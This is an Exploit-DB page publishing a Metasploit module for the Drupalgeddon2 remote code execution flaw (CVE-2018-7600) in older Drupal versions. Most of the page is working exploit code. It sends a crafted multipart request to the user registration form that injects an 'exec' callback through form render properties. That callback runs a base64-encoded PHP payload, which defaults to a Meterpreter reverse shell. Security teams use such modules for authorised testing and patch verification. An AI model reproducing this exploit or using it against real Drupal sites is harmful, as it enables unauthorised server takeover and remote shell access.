Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)

EDB-ID: 44482
Author: José Ignacio Rojo
Published: 2018-04-17
CVE: CVE-2018-7600
Type: Remote
Platform: PHP
Aliases: Drupalgeddon2
Advisory/Source: N/A
Tags: Metasploit Framework (MSF)
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Drupalgeddon2',
'Description' => %q{
CVE-2018-7600 / SA-CORE-2018-002
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1
allows remote attackers to execute arbitrary code because of an issue affecting
multiple subsystems with default or common module configurations.

The module can load msf PHP arch payloads, using the php/base64 encoder.

The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
},
'License' => MSF_LICENSE,
'Author' =>
[
'Vitalii Rudnykh', # initial PoC
'Hans Topo', # further research and ruby port
'José Ignacio Rojo' # further research and msf module
],
'References' =>
[
['SA-CORE', '2018-002'],
['CVE', '2018-7600'],
],
'DefaultOptions' =>
{
'encoder' => 'php/base64',
'payload' => 'php/meterpreter/reverse_tcp',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' =>
[
['User register form with exec', {}],
],
'DisclosureDate' => 'Apr 15 2018',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
])

register_advanced_options(
[

])
end

def uri_path
normalize_uri(target_uri.path)
end

def exploit_user_register
data = Rex::MIME::Message.new
data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')
data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')
data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')
data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')
post_data = data.to_s

# /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri_path}user/register",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {
'element_parents' => 'account/mail/#value',
'ajax_form' => '1',
'_wrapper_format' => 'drupal_ajax',
}
})
end

##
# Main
##

def exploit
case datastore['TARGET']
when 0
exploit_user_register
else
fail_with(Failure::BadConfig, "Invalid target selected.")
end
end
end

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